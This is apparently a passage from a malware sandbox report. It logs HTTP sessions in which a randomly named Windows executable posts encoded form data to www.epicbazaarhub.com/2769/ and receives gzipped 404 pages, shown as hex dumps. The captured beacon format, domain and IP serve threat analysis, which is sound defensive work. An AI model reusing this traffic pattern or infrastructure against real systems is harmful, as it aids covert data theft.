OdjTHtuX=mSVsSfagqWQureFWJ3MCfkZ7H5wWtE3823QzYT/2BqwKOHCbjVrAfsQ2pYHOGWI+wVFOljFPqFyYN8NbV3a5QRz67Mh9Kpznwc5+OhoEWzADR82RK3ooSCJ52T+yoiioLmP/kAW4G8Of6brjlBoZXWzgc751OFPTuoh1m6twney4UvNInUcZlqzmoqwnxnKdAszuq64AX0yC
Jul 3, 2024 17:57:19.343360901 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:19 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 14879 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a [TRUNCATED] Data Ascii: 65SSJe]ol\ "qX([_lKwuw^H"c}?};TLZfM0aFR&FB%-H&&<ZKn9LSlk(kW ){<e1Lkc8/-nsj1WNgH a>2<hig7{A#i\109'~-u`Y&x,W!xjD$cS"k\keZbmf1kj4WM~&<gS.#5mM3H26dD5[iM[J\ovgZoZ[`&@w% ~u5^CgE4\"\u8r+aztYO/7d\|}#Eq.C:o\|4QM2N:4V;;<)~4[n&Lx0a[Q\Wmqu\|<Fq>cGZ!{Mg&'#8\fb8_ifuhmS[&6zT'YpjP$hY}W1_\h4kfjc(t0s<w=/,#iVZtOa1
Jul 3, 2024 17:57:19.343381882 CEST	1236	IN	Data Raw: d5 76 af 4a 90 8d 84 c6 e7 9f 7f b2 cb ac 8f cf a0 ef e1 33 bc b8 dc f8 ee 6e 7c 0f 36 be a1 3a ff 72 67 92 fe aa fd 46 f2 4e a4 bb 17 19 ec 45 e0 69 1c 6c dd 18 16 2b 80 54 7d e0 cb 1d 6c 4c 1a b9 b4 ee c5 4a fd a0 13 d4 2a ae 82 c5 55 e3 71 81 Data Ascii: vJ3n\|6:rgFNEil+T}lLJ*UqYo}iG\F0'#;@/BLUn@2V@~Sfg5\|0J'M6(i/Q9r!,^s3T:kQ$G5ZX?]xuL cc
Jul 3, 2024 17:57:19.343391895 CEST	1236	IN	Data Raw: 43 f7 a0 11 d7 10 3a a8 83 d8 ab 8c 35 7e 51 39 d5 2c 3b 58 e4 2e 9b ee d1 18 7e c8 8d e5 e3 19 32 41 63 48 7b b0 64 91 b7 ea f2 f8 84 42 1b 08 4e 9c f9 a1 a1 37 d7 83 fa df 13 0d 62 74 5e 44 4c 02 60 cf b7 d7 b5 01 eb 16 45 12 0d e3 d1 79 62 6d Data Ascii: C:5~Q9,;X.~2AcH{dBN7bt^DL`Eybm0`IB1#0eVe0=hZsBqNIEhm$V]L{^E.v"EiunwQck1)X)n;*>q< -P
Jul 3, 2024 17:57:19.343728065 CEST	1236	IN	Data Raw: 0e 1a b4 a0 6a 12 cd e5 fd 9a de 8a ec 51 51 5f d6 f1 57 a6 39 a3 f0 90 31 19 41 34 b2 3a 87 df e7 eb 4e e8 b7 b0 ee da 11 8a 16 41 8f 34 5e dd 77 c7 52 6b cd bd b5 9c 43 8b 7b 35 dc 29 4d 33 ad 30 cf ce fc 22 eb 0d da 3b 5b 15 3a 07 cc 70 53 88 Data Ascii: jQQ_W91A4:NA4^wRkC{5)M30";[:pS/+n_1G#>-5K^j'U;Cqo2s>*(2.V^n@i)%~RB=}?P?"!!F~fX/2Xs'G3cf
Jul 3, 2024 17:57:19.343739986 CEST	1236	IN	Data Raw: e7 fb 52 98 4b e6 79 d1 f8 d0 7d d9 a7 d3 ed 36 bd 66 b7 db 5b a4 b9 7d 2e 92 17 28 d7 97 fd cb f1 f8 f1 8f 29 44 9c 91 ba 23 a2 c1 28 91 5b ae a4 df b9 ee 46 19 6f cc f7 56 54 41 b6 d3 1a 64 0f 8f 8f 2d cc 01 81 93 4b 4b 83 dc 5a 25 e7 61 ae 0d Data Ascii: RKy}6f[}.()D#([FoVTAd-KKZ%aXnGT*2w.W%%y~)H+agh84lF.O`d^cQVo+Ox3SXqD'+}%0#f,@$/vx
Jul 3, 2024 17:57:19.343750000 CEST	1236	IN	Data Raw: 5b 18 26 64 c1 01 c3 94 49 45 d3 b0 cb ae af 0f 88 b1 48 73 2d a3 ab 8b 4e ef c0 32 16 69 7d 4c 0b 3a e1 80 1d 65 46 07 2e 6d 10 44 c1 2e 5a ac 59 c4 5d c6 ee 76 a9 55 3b 2b 14 5c 02 d3 ab 8a 7a a7 37 88 20 6e ea 38 60 f5 8b 66 a7 7f d9 ec 76 2f Data Ascii: [&dIEHs-N2i}L:eF.mD.ZY]vU;+\z7 n8`fv/>szg0h^u0o}8zF>v\y^]5;=y%KN\i&'da2gQ)[=Bw_S'gUkt7I;n_{7;JstJMy
Jul 3, 2024 17:57:19.343760967 CEST	1236	IN	Data Raw: cf 53 ca 0b 19 96 d5 6f 23 c6 d1 91 bc 1d 8e a7 e8 b2 60 50 b6 db cf 6d 94 17 dc 50 c1 66 2a b7 74 2c e0 61 2f 18 6b 1e 15 e4 16 68 bf 86 82 19 f3 c5 a8 b6 e2 5f fb bd ac 59 f5 2d 31 56 89 77 77 b5 df 1b cd ac 99 74 9a 49 b7 99 f4 9a 49 bf 99 0c Data Ascii: So#`PmPft,a/kh_Y-1VwwtIIE3M%\_g,+AalhYw1a;w,H}(;<Cn,h0 cUr]_ XjGndTJvsm,.mE/P+Vfxe2%fze"
Jul 3, 2024 17:57:19.344332933 CEST	1236	IN	Data Raw: 03 2d 4b 2a 10 03 66 4e 45 72 a9 87 10 ba cf c0 a0 dd 0a 94 50 49 ab 99 b1 27 e2 2c d3 8f 21 9d ca 69 5d 70 0c ad f7 5c b4 5e 05 1a 0b 43 90 a7 ce 58 26 1f 46 39 75 be 65 fa 61 a4 53 67 5b a6 1f 46 ea 3f 0f a9 7f 18 69 f0 3c a4 41 95 33 05 0b ef Data Ascii: -KfNErPI',!i]p\^CX&F9ueaSg[F?i<A3r}U.n]B+fLeMBcfjVopjR T gL\|N+>S.Ul4D\|3KoY>vpoo+F"6vvrhUUy8}52V`
Jul 3, 2024 17:57:19.344356060 CEST	1236	IN	Data Raw: 75 ad 2c c4 4a 73 30 f3 ea a8 e0 66 e1 1b 6a 67 19 f8 e5 12 aa 52 89 e0 f3 94 e9 98 4b b4 2e 6e 32 f5 9d 09 d1 7c 9b e9 99 32 8e 7b ea 16 6e d0 ef 3a 9d 1f bd 25 6e 58 a6 81 35 c9 d1 34 2e b3 dc 2e 95 d0 2c e2 b9 f1 5b bd 1e 76 df 80 17 0a c9 29 Data Ascii: u,Js0fjgRK.n2\|2{n:%nX54..,[v)Af,}KXZ/I7{Xd(#umAfo";Z+9AV:LL\|}-<FQvdxqipU[ArH Da)xKc/aEZ3X
Jul 3, 2024 17:57:19.344366074 CEST	1236	IN	Data Raw: fc e9 97 1f ff fc be c8 fe 4e 40 8a 88 2d 93 67 2e c1 90 cf 3f 3f 72 5b af ad 71 1a a4 41 fe f1 0f 12 a1 29 8b 9c a9 e6 16 ea e4 7c 49 c3 e8 b0 1c fa 90 b4 5c 86 22 8f c0 b4 3f 98 36 da ce b6 27 20 23 a5 dd d5 3e ed 56 ca 65 eb 83 f9 c3 04 f4 a8 Data Ascii: N@-g.??r[qA)\|I\"?6' #>VejukP/9='Yrl1_?qfN,\|m6'ibsro9*c TxoMx\qa`=gYG4r{A,)"O^2J_[2
Jul 3, 2024 17:57:19.348368883 CEST	1236	IN	Data Raw: 56 e7 50 23 c5 12 58 20 70 c5 c5 22 6a b7 37 1a 42 4b b0 10 0b 66 a3 da 65 6b 50 5b d2 e8 5c ac 69 74 5c bc bd 9b dd 39 9e ec a8 e1 b3 dc d8 6d 21 cd 4d c4 27 cf 5e 06 c1 45 18 3b 73 ac 6b 84 47 a3 5a aa 22 26 68 67 67 3d 05 2c 75 a6 a0 65 82 5b Data Ascii: VP#X p"j7BKfekP[\it\9m!M'^E;skGZ"&hgg=,ue[f,XFjUEk)!N2!\|jV}+,Z.*Y(Z<'Lxg#F.P;.X[vt/D`St!Di_{)/<_/H+$q7%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49737	192.185.208.8	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:21.227663994 CEST	641	OUT	POST /2769/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.epicbazaarhub.com Origin: http://www.epicbazaarhub.com Referer: http://www.epicbazaarhub.com/2769/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6d 53 56 73 53 66 61 67 71 57 51 75 71 2b 56 57 4f 55 30 43 49 30 5a 38 62 70 77 57 6d 6b 33 34 32 33 73 7a 59 53 71 78 47 5a 59 4b 4e 6e 79 62 6b 6b 72 41 63 73 51 32 69 34 48 48 46 6d 49 50 77 56 35 73 6c 6a 4a 50 71 46 57 59 4e 38 39 62 56 67 4f 36 52 42 7a 34 67 38 68 7a 45 4a 7a 6e 77 63 35 2b 4f 68 73 75 57 31 6f 44 51 4d 47 52 4b 57 6f 70 4d 53 4a 32 6d 6a 2b 79 69 43 69 73 4c 6d 50 57 6b 46 4f 47 47 2b 47 66 36 66 76 6a 6d 51 6f 59 65 57 7a 6d 43 4c 34 52 4a 41 53 55 6a 5a 77 33 6b 63 31 4f 33 75 62 63 56 5a 4d 53 37 6e 63 36 33 36 54 6b 6f 6f 6f 56 78 48 4b 33 43 73 4c 75 34 74 30 6e 59 41 58 68 51 74 6f 76 4f 52 73 77 4d 52 4f 61 30 77 6a 66 45 61 39 6b 61 77 3d 3d Data Ascii: OdjTHtuX=mSVsSfagqWQuq+VWOU0CI0Z8bpwWmk3423szYSqxGZYKNnybkkrAcsQ2i4HHFmIPwV5sljJPqFWYN89bVgO6RBz4g8hzEJznwc5+OhsuW1oDQMGRKWopMSJ2mj+yiCisLmPWkFOGG+Gf6fvjmQoYeWzmCL4RJASUjZw3kc1O3ubcVZMS7nc636TkoooVxHK3CsLu4t0nYAXhQtovORswMROa0wjfEa9kaw==
Jul 3, 2024 17:57:21.863739014 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 14879 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a [TRUNCATED] Data Ascii: 65SSJe]ol\ "qX([_lKwuw^H"c}?};TLZfM0aFR&FB%-H&&<ZKn9LSlk(kW ){<e1Lkc8/-nsj1WNgH a>2<hig7{A#i\109'~-u`Y&x,W!xjD$cS"k\keZbmf1kj4WM~&<gS.#5mM3H26dD5[iM[J\ovgZoZ[`&@w% ~u5^CgE4\"\u8r+aztYO/7d\|}#Eq.C:o\|4QM2N:4V;;<)~4[n&Lx0a[Q\Wmqu\|<Fq>cGZ!{Mg&'#8\fb8_ifuhmS[&6zT'YpjP$hY}W1_\h4kfjc(t0s<w=/,#iVZtOa1
Jul 3, 2024 17:57:21.863765001 CEST	1236	IN	Data Raw: d5 76 af 4a 90 8d 84 c6 e7 9f 7f b2 cb ac 8f cf a0 ef e1 33 bc b8 dc f8 ee 6e 7c 0f 36 be a1 3a ff 72 67 92 fe aa fd 46 f2 4e a4 bb 17 19 ec 45 e0 69 1c 6c dd 18 16 2b 80 54 7d e0 cb 1d 6c 4c 1a b9 b4 ee c5 4a fd a0 13 d4 2a ae 82 c5 55 e3 71 81 Data Ascii: vJ3n\|6:rgFNEil+T}lLJ*UqYo}iG\F0'#;@/BLUn@2V@~Sfg5\|0J'M6(i/Q9r!,^s3T:kQ$G5ZX?]xuL cc
Jul 3, 2024 17:57:21.863780022 CEST	1236	IN	Data Raw: 43 f7 a0 11 d7 10 3a a8 83 d8 ab 8c 35 7e 51 39 d5 2c 3b 58 e4 2e 9b ee d1 18 7e c8 8d e5 e3 19 32 41 63 48 7b b0 64 91 b7 ea f2 f8 84 42 1b 08 4e 9c f9 a1 a1 37 d7 83 fa df 13 0d 62 74 5e 44 4c 02 60 cf b7 d7 b5 01 eb 16 45 12 0d e3 d1 79 62 6d Data Ascii: C:5~Q9,;X.~2AcH{dBN7bt^DL`Eybm0`IB1#0eVe0=hZsBqNIEhm$V]L{^E.v"EiunwQck1)X)n;*>q< -P
Jul 3, 2024 17:57:21.864247084 CEST	672	IN	Data Raw: 0e 1a b4 a0 6a 12 cd e5 fd 9a de 8a ec 51 51 5f d6 f1 57 a6 39 a3 f0 90 31 19 41 34 b2 3a 87 df e7 eb 4e e8 b7 b0 ee da 11 8a 16 41 8f 34 5e dd 77 c7 52 6b cd bd b5 9c 43 8b 7b 35 dc 29 4d 33 ad 30 cf ce fc 22 eb 0d da 3b 5b 15 3a 07 cc 70 53 88 Data Ascii: jQQ_W91A4:NA4^wRkC{5)M30";[:pS/+n_1G#>-5K^j'U;Cqo2s>*(2.V^n@i)%~RB=}?P?"!!F~fX/2Xs'G3cf
Jul 3, 2024 17:57:21.864260912 CEST	1236	IN	Data Raw: b3 dd 63 5d fb f8 c7 14 22 ce 48 3d 45 6f 4c 79 64 13 ff f2 aa 9b 3d 34 e6 fb 1c d6 18 52 ed a0 3c ee 65 b7 98 06 ba d4 53 cc 4a 45 21 72 66 dd 1a a6 00 2d 96 71 3a 46 08 ce 58 5b 30 65 e8 74 88 40 59 ab d2 7d 26 20 a3 b5 24 ec 61 25 49 a7 52 12 Data Ascii: c]"H=EoLyd=4R<eSJE!rf-q:FX[0et@Y}& $a%IRehp\|/5]VS/s-hWCu:k?i{\.Lo% \|xE1ut[zrOPM@2=*
Jul 3, 2024 17:57:21.864275932 CEST	1236	IN	Data Raw: 6d d5 44 fe 58 85 b9 99 07 2c bc 8f b5 ca d1 01 a1 12 4a fb 9f 46 51 54 0e c9 72 ab d6 18 15 d3 39 47 0c 77 8f 25 48 bf df 1f 2e 8d 13 08 15 de 0f 57 56 f7 3b 90 2e 07 77 2d 86 ce 2a fe 00 07 10 5c 02 5d dc 94 23 ac 26 ef e0 3d e9 f6 f0 d1 e9 63 Data Ascii: mDX,JFQTr9Gw%H.WV;.w-\]#&=cfaBYF))?R.#x;yLl?M@C0C7;F(/~-.-]YN.[_ODXDOp"r;Vn%@@45/F@ta){(!_?{\ykh
Jul 3, 2024 17:57:21.864479065 CEST	1236	IN	Data Raw: aa ac 44 47 c2 57 3d 44 ef b6 9e 02 df 41 2f 0b 96 85 07 b0 bb 05 76 af d5 bd 3c 04 3e 66 29 17 33 4a 03 15 cd 7c 52 fb 41 5a d0 b5 26 31 4c 1a 6a 40 f3 f1 b1 a2 04 70 c7 32 f6 c9 37 4c 47 ea 58 a6 99 19 0b 29 5d c3 fa 84 b2 2c 13 b0 b8 69 92 af Data Ascii: DGW=DA/v<>f)3J\|RAZ&1Lj@p27LGX)],i7?}qM@rM$<Hb$M!6M$$- D5D+jY<L:}I5e$"Bi*(p.)0%Q)MVKI\PZ)%&N?@
Jul 3, 2024 17:57:21.864504099 CEST	1236	IN	Data Raw: cc c2 83 a5 11 84 4a 33 cb 15 9a 04 5d 01 da 09 78 42 1f 3f 51 13 d0 f3 3d 0c a9 5c 79 d2 69 92 a4 8b ff 3d fc ef e3 ff 00 ff 2f 9e c1 ed 39 66 4a 80 39 05 1b 4f 9a a1 eb 88 cd 4f 75 dd c3 03 15 4c c7 d0 d8 85 e9 0c 10 a7 7b 3a ce 12 e6 31 e9 9d Data Ascii: J3]xB?Q=\yi=/9fJ9OOuL{:1\oYhH\|/IL%^./..e"38ukL}4By?Xxk"P-J5.<7>iz82l)loTex4gTFL`Tv'c39*C72
Jul 3, 2024 17:57:21.864518881 CEST	1236	IN	Data Raw: ec 19 28 1d 01 cb 1f de a0 df 12 ea 98 07 a3 dc dc bf 8d dd 1c 52 45 a7 8c a1 76 2a 04 5c f6 6b da ac 61 2a 7a 80 70 8b e4 a1 cb 37 e6 55 7d b6 a1 2a 7a a5 3c 92 4b 1f bf b8 cb 12 a4 02 7f 95 d4 79 55 87 35 cc b1 1e dd b7 e9 d1 3d d6 a3 f7 36 3d Data Ascii: (REv\kazp7U}*z<KyU5=6=zzGXq6=.\|z\Mc=mt]:osKt+AWux)D<O_XV cx`QWb=hVYl}EqfvQ_R$~
Jul 3, 2024 17:57:21.864866972 CEST	1236	IN	Data Raw: 72 6b 7b 80 bd 93 92 e6 1f 72 63 f9 78 56 64 82 b4 be d3 02 68 00 76 0a f0 ac b1 4b be 66 13 fd b4 ac 72 f0 a9 c6 d5 48 e5 5e 25 3c 08 48 91 90 a1 c1 d5 55 7f 70 d5 ed 78 83 4e cf eb 5f 5e f4 ba ec 22 ea e1 6f 87 5d f5 2e 3a 97 84 f9 d3 04 34 d4 Data Ascii: rk{rcxVdhvKfrH^%<HUpxN_^"o].:47Ji[d1JW,f6g7mcgnn7K{:dYgTpyOewU5X[xd1oNOX'\"IKe@M@$QtE
Jul 3, 2024 17:57:21.869079113 CEST	1236	IN	Data Raw: 8d eb e2 86 5a 48 51 28 4c cc 98 b6 08 b2 83 51 26 c5 5a e5 19 c1 d5 c5 72 ca 23 20 09 33 34 60 06 d1 51 5a 77 29 23 d4 4e 28 bd b8 59 06 8b 63 2c 54 c0 04 e2 47 11 97 31 e1 86 e2 62 54 6e 9d da c6 6a c6 25 44 64 bb 15 ad 4c aa 9d bd 2b 04 1c d5 Data Ascii: ZHQ(LQ&Zr# 34`QZw)#N(Yc,TG1bTnj%DdL+Xzp*-b8w'rcr%4cdGM=c9)Z;+N'tew7^[RFQ-63~1A+TiXc1U{7mv{7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49738	192.185.208.8	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:23.757781029 CEST	1654	OUT	POST /2769/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.epicbazaarhub.com Origin: http://www.epicbazaarhub.com Referer: http://www.epicbazaarhub.com/2769/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6d 53 56 73 53 66 61 67 71 57 51 75 71 2b 56 57 4f 55 30 43 49 30 5a 38 62 70 77 57 6d 6b 33 34 32 33 73 7a 59 53 71 78 47 5a 41 4b 4e 55 36 62 6a 33 44 41 64 73 51 32 68 34 48 4b 46 6d 49 53 77 56 68 6f 6c 6a 56 35 71 48 65 59 4c 65 31 62 43 69 32 36 59 42 7a 34 6f 63 68 2b 4b 70 7a 49 77 59 56 79 4f 67 63 75 57 31 6f 44 51 4f 75 52 44 6e 6f 70 4f 53 4a 35 32 54 2b 6d 6f 69 69 45 4c 6d 58 73 6b 46 44 39 48 4e 65 66 36 37 4c 6a 6e 6d 38 59 52 57 7a 6b 44 4c 34 4a 4a 41 57 62 6a 5a 73 4e 6b 63 70 67 33 70 72 63 55 38 68 37 6d 30 41 62 30 4d 50 33 78 34 6b 56 38 78 4f 44 50 2f 4c 4f 2f 62 77 4f 48 53 76 32 66 62 77 78 4f 7a 68 39 4d 78 32 54 77 6b 44 4e 46 2b 30 57 59 69 50 4f 55 65 36 69 2f 50 2f 2b 51 31 49 79 33 44 67 33 78 42 39 73 78 35 65 58 7a 37 2f 36 63 45 36 46 75 74 6c 48 46 4a 46 41 50 52 36 47 57 42 46 74 59 34 7a 59 34 4c 76 48 7a 7a 6e 57 54 76 53 66 34 37 51 64 38 48 4c 58 73 49 75 62 71 6f 63 79 53 59 56 42 74 35 4b 72 43 6c 4a 5a 77 50 71 38 56 66 6c 4a 70 [TRUNCATED] Data Ascii: OdjTHtuX=mSVsSfagqWQuq+VWOU0CI0Z8bpwWmk3423szYSqxGZAKNU6bj3DAdsQ2h4HKFmISwVholjV5qHeYLe1bCi26YBz4och+KpzIwYVyOgcuW1oDQOuRDnopOSJ52T+moiiELmXskFD9HNef67Ljnm8YRWzkDL4JJAWbjZsNkcpg3prcU8h7m0Ab0MP3x4kV8xODP/LO/bwOHSv2fbwxOzh9Mx2TwkDNF+0WYiPOUe6i/P/+Q1Iy3Dg3xB9sx5eXz7/6cE6FutlHFJFAPR6GWBFtY4zY4LvHzznWTvSf47Qd8HLXsIubqocySYVBt5KrClJZwPq8VflJpjlzmyX1BCY8dU2ZGPdL8QukOj6X5iElIVIAx1/bfbw5FRi/W43YfuuxF909t9/8hPXQRMMqy7J8wtNDS+SmfzrlyR3PeNQLTcmq2JU5eiMPibTqPEoIgzEML0euFofzr7ofJgwijbrwJn8LmmWrTsDCryECWMhQSBEPsGjlzOD95MqjW/YkxbKS0IdNHC3PNRBASpkFaIX5E5alG8IoUhog7liw9vzhN4cpAfz58V2FGOiaiVly8HOowPNqYUCSuWemzy8oQa+p7/Gmgbhecw6yUIEuM3m/U/9NT0u/WCNKhiMkTs6as6LglSaXUsks/jccTOJJxQnlIkD0JAn8FnmFq+h+/OiAk8W9McnUbvbu2T0W76DUMNcJlsdr6LwNUYvipocMYE1sGRoQR6kXxrpsk7ZCoePRsOV9RI1PMF3G6CxaTHo4U9TN5oybbmX1fSi5RncfaDJ9hqzREJ4UTKrwp/NRCTBL+5kqHvuOOZqHoF7LN4AeHXSRT1jUnHQtUveiI9w9kpCaG+q+3JI4CYUdgnG8ogVXINe8DGxyJrq1gggNA0WYPNHdokU3QaQIUWE2tP9B2y3SjpmgYTUQ6nu+lGMRCsBCU/BEPyH9um3eB8IoByLctn0XME0Am0h+9pX8EiLriaYEVBL7pM3kiVNTODKaWdNtqbq [TRUNCATED]
Jul 3, 2024 17:57:24.370687008 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:24 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 14879 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a [TRUNCATED] Data Ascii: 65SSJe]ol\ "qX([_lKwuw^H"c}?};TLZfM0aFR&FB%-H&&<ZKn9LSlk(kW ){<e1Lkc8/-nsj1WNgH a>2<hig7{A#i\109'~-u`Y&x,W!xjD$cS"k\keZbmf1kj4WM~&<gS.#5mM3H26dD5[iM[J\ovgZoZ[`&@w% ~u5^CgE4\"\u8r+aztYO/7d\|}#Eq.C:o\|4QM2N:4V;;<)~4[n&Lx0a[Q\Wmqu\|<Fq>cGZ!{Mg&'#8\fb8_ifuhmS[&6zT'YpjP$hY}W1_\h4kfjc(t0s<w=/,#iVZtOa1
Jul 3, 2024 17:57:24.370708942 CEST	124	IN	Data Raw: d5 76 af 4a 90 8d 84 c6 e7 9f 7f b2 cb ac 8f cf a0 ef e1 33 bc b8 dc f8 ee 6e 7c 0f 36 be a1 3a ff 72 67 92 fe aa fd 46 f2 4e a4 bb 17 19 ec 45 e0 69 1c 6c dd 18 16 2b 80 54 7d e0 cb 1d 6c 4c 1a b9 b4 ee c5 4a fd a0 13 d4 2a ae 82 c5 55 e3 71 81 Data Ascii: vJ3n\|6:rgFNEil+T}lLJ*UqYo}iG\F0'#;@/BLUn
Jul 3, 2024 17:57:24.370744944 CEST	1236	IN	Data Raw: 40 8c 09 97 c6 32 19 56 a6 fc c1 f9 f9 a7 f1 d8 84 1a 40 7e 53 18 b5 de f3 bc 66 67 e0 35 7c de c2 30 b3 f0 9d 80 14 a4 ad d7 4a 27 d7 1a 4d 36 d2 ce f8 df 28 69 e1 01 2f ba 51 ad 39 9f 72 21 fe 02 2c fa 5e c3 df 73 cc 17 33 ff 13 ef b1 d1 54 a3 Data Ascii: @2V@~Sfg5\|0J'M6(i/Q9r!,^s3T:kQ$G5ZX?]xuL cc1`J1W#[gM@E\N;h=3-BA> 27Q6dYFi{LikjM36,=)[fq=&X
